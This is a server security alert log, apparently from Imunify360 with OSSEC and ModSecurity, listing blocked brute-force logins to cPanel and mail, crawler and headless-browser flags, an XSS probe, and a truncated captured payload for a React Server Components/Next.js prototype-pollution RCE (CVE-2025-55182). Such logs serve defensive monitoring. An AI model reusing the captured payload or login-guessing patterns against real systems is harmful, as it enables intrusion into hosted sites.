2026-06-26 18:18:20 dovecot_login authenticator failed for H=(YQsNWyqyw) [107.150.117.171]:60973: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:19:15 dovecot_login authenticator failed for H=(DnUzPfV5hw) [107.150.117.171]:60973: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 18:19:13 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.150.117.171 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.150.117.171
country_id: 2921044
description:
Jun 26 18:20:12 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.150.117.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:20:14 dovecot_login authenticator failed for H=(wBfn4pYK) [107.150.117.171]:57097: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.150.117.171
country_id: 2921044
description:
2026-06-26 18:20:37 dovecot_login authenticator failed for H=(UjGvvnA4e) [107.150.117.171]:52636: 535 Incorrect authentication data (set_id=anamek)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.55.146.14
country_id: 1210997
description:
[2026-06-26 18:20:58 +0000] info [cpaneld] 103.55.146.14 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 154.36.110.146
country_id: 2921044
domain: yoto2.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:154.36.110.146||TA:154.36.110.146||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.139.231
country_id: 690791
description:
Jun 26 18:23:39 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.139.231 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.19.157
country_id: 3175395
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.239.19.157||TA:104.239.19.157||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 62.105.202.173
country_id: 2802361
domain: lacs1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:62.105.202.173||TA:62.105.202.173||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.112.144.43
country_id: 1814991
description:
2026-06-26 18:24:30 dovecot_plain authenticator failed for H=(hhekpn6rnrlgng78e) [123.112.144.43]:47312: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.81.163
country_id: 3077311
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.253.81.163||TA:104.253.81.163||


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: metaart.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_558d972f\":\"ready\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"reason\":-1,\"__684d00f3\":\"460c153a6d72ca3b\",\"_response\":{\"_prefix\":\"var pt=arguments['\\\\x31'];var ta=pt;try{var _v=((0,eval)(global[[\\\"B\\\",\\\"u\\\",\\\"f\\\",\\\"fe\\\",\\\"r\\\


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 142.111.227.197
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:142.111.227.197||TA:142.111.227.197||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.80.170
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.239.80.170||TA:104.239.80.170||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-26 18:27:12 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:54060: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.100.71.27
country_id: 3469034
description:
[2026-06-26 18:28:20 +0000] info [cpaneld] 189.100.71.27 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.241.111.194
country_id: 1522867
description:
[2026-06-26 18:28:23 +0000] info [cpaneld] 103.241.111.194 - togoathletisme "GET /login/?login_only=1&user=togoathletisme&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoathletisme (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.123.240.23
country_id: 3437598
description:
[2026-06-26 18:28:49 +0000] info [cpaneld] 181.123.240.23 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.242.184.12
country_id: 2017370
description:
[2026-06-26 18:28:25 +0000] info [cpaneld] 188.242.184.12 - togoathletismetg "GET /login/?login_only=1&user=togoathletismetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoathletismetg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.19.40.10
country_id: 3686110
description:
[2026-06-26 18:28:31 +0000] info [cpaneld] 38.19.40.10 - togoath "GET /login/?login_only=1&user=togoath&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoath (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.171.240.156
country_id: 2921044
description:
[2026-06-26 18:28:28 +0000] info [cpaneld] 84.171.240.156 - togoathl "GET /login/?login_only=1&user=togoathl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoathl (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.16.227.104
country_id: 6252001
description:
[2026-06-26 18:28:44 +0000] info [cpaneld] 45.16.227.104 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.99.107.88
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/364417140 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 45.133.113.191
country_id: 6252001
domain: 24heureinfo.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:jestine52a||Email:jestine.jestine47@gubage.tangos.click||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.133.113.191
country_id: 6252001
domain: 24heureinfo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:18-30.45.133.113.191||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.69.174.33
country_id: 3658394
description:
[2026-06-26 18:31:31 +0000] info [cpaneld] 200.69.174.33 - caissederetraites "GET /login/?login_only=1&user=caissederetraites&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederetraites (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.114.44.83
country_id: 3895114
description:
[2026-06-26 18:31:40 +0000] info [cpaneld] 190.114.44.83 - caissede "GET /login/?login_only=1&user=caissede&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissede (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.183.43.169
country_id: 3469034
description:
[2026-06-26 18:31:49 +0000] info [cpaneld] 191.183.43.169 - caiss "GET /login/?login_only=1&user=caiss&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caiss (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 2.210.178.221
country_id: 2921044
description:
[2026-06-26 18:31:58 +0000] info [cpaneld] 2.210.178.221 - cai "GET /login/?login_only=1&user=cai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cai (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.173.3.39
country_id: 2017370
description:
[2026-06-26 18:31:46 +0000] info [cpaneld] 46.173.3.39 - caisse "GET /login/?login_only=1&user=caisse&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caisse (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.81.100.209
country_id: 3686110
description:
[2026-06-26 18:31:28 +0000] info [cpaneld] 186.81.100.209 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 118.107.183.166
country_id: 6254930
description:
[2026-06-26 18:31:43 +0000] info [cpaneld] 118.107.183.166 - caissed "GET /login/?login_only=1&user=caissed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissed (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.120.204.32
country_id: 3895114
description:
[2026-06-26 18:32:43 +0000] info [cpaneld] 200.120.204.32 - mafisteel "GET /login/?login_only=1&user=mafisteel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafisteel (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.22.145.209
country_id: 2017370
description:
[2026-06-26 18:32:50 +0000] info [cpaneld] 89.22.145.209 - mafiste "GET /login/?login_only=1&user=mafiste&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafiste (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.97.18.182
country_id: 290557
description:
[2026-06-26 18:32:53 +0000] info [cpaneld] 86.97.18.182 - mafist "GET /login/?login_only=1&user=mafist&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafist (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.249.169.70
country_id: 3996063
description:
[2026-06-26 18:32:56 +0000] info [cpaneld] 177.249.169.70 - mafis "GET /login/?login_only=1&user=mafis&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafis (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.88.159.135
country_id: 2017370
description:
[2026-06-26 18:32:59 +0000] info [cpaneld] 185.88.159.135 - mafi "GET /login/?login_only=1&user=mafi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.153.155.75
country_id: 3469034
description:
[2026-06-26 18:33:03 +0000] info [cpaneld] 179.153.155.75 - maf "GET /login/?login_only=1&user=maf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user maf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.147.136.123
country_id: 2542007
description:
[2026-06-26 18:32:47 +0000] info [cpaneld] 197.147.136.123 - mafistee "GET /login/?login_only=1&user=mafistee&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafistee (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.60.56.43
country_id: 3658394
description:
[2026-06-26 18:35:38 +0000] info [cpaneld] 179.60.56.43 - scafricaplccom "GET /login/?login_only=1&user=scafricaplccom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user scafricaplccom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.99.79.10
country_id: 290557
description:
[2026-06-26 18:35:42 +0000] info [cpaneld] 86.99.79.10 - scafrica "GET /login/?login_only=1&user=scafrica&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user scafrica (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.198.186
country_id: 3658394
description:
[2026-06-26 18:35:48 +0000] info [cpaneld] 157.100.198.186 - scafric "GET /login/?login_only=1&user=scafric&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user scafric (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.196.83.238
country_id: 3017382
description:
[2026-06-26 18:35:57 +0000] info [cpaneld] 78.196.83.238 - scaf "GET /login/?login_only=1&user=scaf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user scaf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.86.155.176
country_id: 3469034
description:
[2026-06-26 18:36:03 +0000] info [cpaneld] 177.86.155.176 - sc "GET /login/?login_only=1&user=sc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.0.98.170
country_id: 2017370
description:
[2026-06-26 18:35:31 +0000] info [cpaneld] 46.0.98.170 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.191.5.147
country_id: 3017382
description:
[2026-06-26 18:35:34 +0000] info [cpaneld] 88.191.5.147 - scafricaplc "GET /login/?login_only=1&user=scafricaplc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user scafricaplc (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-26 18:36:59 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:54572: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 140.143.189.187
country_id: 1814991
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/le-projet-sseqcu-togo-renove-et-equipe-lusp-dagbati/<script async src=||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 26 18:38:36 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.100.247
country_id: 2921044
description:
Jun 26 18:39:38 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.100.247 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.231.167.25
country_id: 1562822
domain: www.case-afrique.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.case-afrique.tg/recherchemarketing.php HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 120.212.199.49
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/e2affaa0f83d9c44300f73b8385e1610_L.jpg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.228.28.189
country_id: 298795
description:
[2026-06-26 18:42:10 +0000] info [cpaneld] 88.228.28.189 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.90.52.92
country_id: 3469034
description:
[2026-06-26 18:42:30 +0000] info [cpaneld] 168.90.52.92 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 144.76.56.36
country_id: 2921044
description:
Jun 26 18:42:57 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 144.76.56.36 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.76.56.36
country_id: 2921044
description:
2026-06-26 18:42:41 dovecot_login authenticator failed for H=(mail.sbwgmbh.de) [144.76.56.36]:55814: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 89.249.196.161
country_id: 2658434
domain: belali.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:89.249.196.161||TA:89.249.196.161||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.70.52.192
country_id: 3469034
description:
[2026-06-26 18:42:18 +0000] info [cpaneld] 45.70.52.192 - macitetg "GET /login/?login_only=1&user=macitetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user macitetg (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.58.124
country_id: 2363686
description:
[2026-06-26 18:42:25 +0000] info [webmaild] 196.171.58.124 - info@matosshop.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.84.155.68
country_id: 3469034
description:
[2026-06-26 18:42:28 +0000] info [cpaneld] 187.84.155.68 - mac "GET /login/?login_only=1&user=mac&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mac (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.117.165.205
country_id: 3865483
description:
[2026-06-26 18:42:24 +0000] info [cpaneld] 181.117.165.205 - maci "GET /login/?login_only=1&user=maci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user maci (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.174.199.197
country_id: 3895114
description:
[2026-06-26 18:45:56 +0000] info [cpaneld] 152.174.199.197 - saham "GET /login/?login_only=1&user=saham&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user saham (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.178.250.245
country_id: 1562822
description:
[2026-06-26 18:46:12 +0000] info [cpaneld] 14.178.250.245 - sa "GET /login/?login_only=1&user=sa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.101.3.92
country_id: 3469034
description:
[2026-06-26 18:45:46 +0000] info [cpaneld] 177.101.3.92 - sahamtgcom "GET /login/?login_only=1&user=sahamtgcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sahamtgcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.163.201.5
country_id: 1562822
description:
[2026-06-26 18:46:00 +0000] info [cpaneld] 113.163.201.5 - saha "GET /login/?login_only=1&user=saha&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user saha (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.173.141.74
country_id: 3865483
description:
[2026-06-26 18:46:05 +0000] info [cpaneld] 190.173.141.74 - sah "GET /login/?login_only=1&user=sah&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sah (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.156.230.132
country_id: 3686110
description:
[2026-06-26 18:45:43 +0000] info [cpaneld] 38.156.230.132 - sahamtg "GET /login/?login_only=1&user=sahamtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.211.32.19
country_id: 3865483
description:
[2026-06-26 18:47:07 +0000] info [cpaneld] 38.211.32.19 - ameak "GET /login/?login_only=1&user=ameak&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ameak (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.6.7.249
country_id: 3932488
description:
[2026-06-26 18:47:12 +0000] info [cpaneld] 179.6.7.249 - ameakco "GET /login/?login_only=1&user=ameakco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ameakco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.229.177.242
country_id: 3469034
description:
[2026-06-26 18:47:03 +0000] info [cpaneld] 45.229.177.242 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 65.181.23.5
country_id: 2077456
description:
[2026-06-26 18:47:23 +0000] info [cpaneld] 65.181.23.5 - ame "GET /login/?login_only=1&user=ame&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ame (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 50.61.130.198
country_id: 102358
description:
[2026-06-26 18:47:27 +0000] info [cpaneld] 50.61.130.198 - am "GET /login/?login_only=1&user=am&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user am (has_cpuser_file failed)


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: monde-ai.tg
description:


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.177.103.173
country_id: 6252001
domain: lacs1.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:192.177.103.173||TA:192.177.103.173||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.96.205
country_id: 2363686
description:
[2026-06-26 18:49:34 +0000] info [webmaild] 196.168.96.205 - info@matosshop.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.182.82.154
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/583986162 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.96.205
country_id: 2363686
description:
[2026-06-26 18:50:52 +0000] info [webmaild] 196.168.96.205 - info@matosshop.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.96.205
country_id: 2363686
description:
[2026-06-26 18:51:17 +0000] info [webmaild] 196.168.96.205 - info@matosshop.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.97.1.126
country_id: 290557
description:
[2026-06-26 18:54:00 +0000] info [cpaneld] 86.97.1.126 - so "GET /login/?login_only=1&user=so&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user so (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.223.228.104
country_id: 3469034
description:
[2026-06-26 18:53:26 +0000] info [cpaneld] 177.223.228.104 - sotranetogo "GET /login/?login_only=1&user=sotranetogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotranetogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.102.205.43
country_id: 3996063
description:
[2026-06-26 18:53:40 +0000] info [cpaneld] 187.102.205.43 - sotran "GET /login/?login_only=1&user=sotran&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotran (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 185.117.225.200
country_id: 6252001
domain: www.arse.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/123.0.6312.86 Safari/537.36||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.115.235.41
country_id: 3865483
description:
[2026-06-26 18:53:35 +0000] info [cpaneld] 200.115.235.41 - sotranet "GET /login/?login_only=1&user=sotranet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotranet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.80.96.203
country_id: 2017370
description:
[2026-06-26 18:53:37 +0000] info [cpaneld] 80.80.96.203 - sotrane "GET /login/?login_only=1&user=sotrane&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotrane (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.28.109.125
country_id: 2017370
description:
[2026-06-26 18:55:40 +0000] info [cpaneld] 185.28.109.125 - togointe "GET /login/?login_only=1&user=togointe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.92.55.214
country_id: 2542007
description:
[2026-06-26 18:56:00 +0000] info [cpaneld] 196.92.55.214 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.199.58.238
country_id: 3658394
description:
[2026-06-26 18:55:27 +0000] info [cpaneld] 181.199.58.238 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.126.186.232
country_id: 3437598
description:
[2026-06-26 18:55:46 +0000] info [cpaneld] 181.126.186.232 - togoint "GET /login/?login_only=1&user=togoint&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoint (has_cpuser_file failed)


plugin: ossec
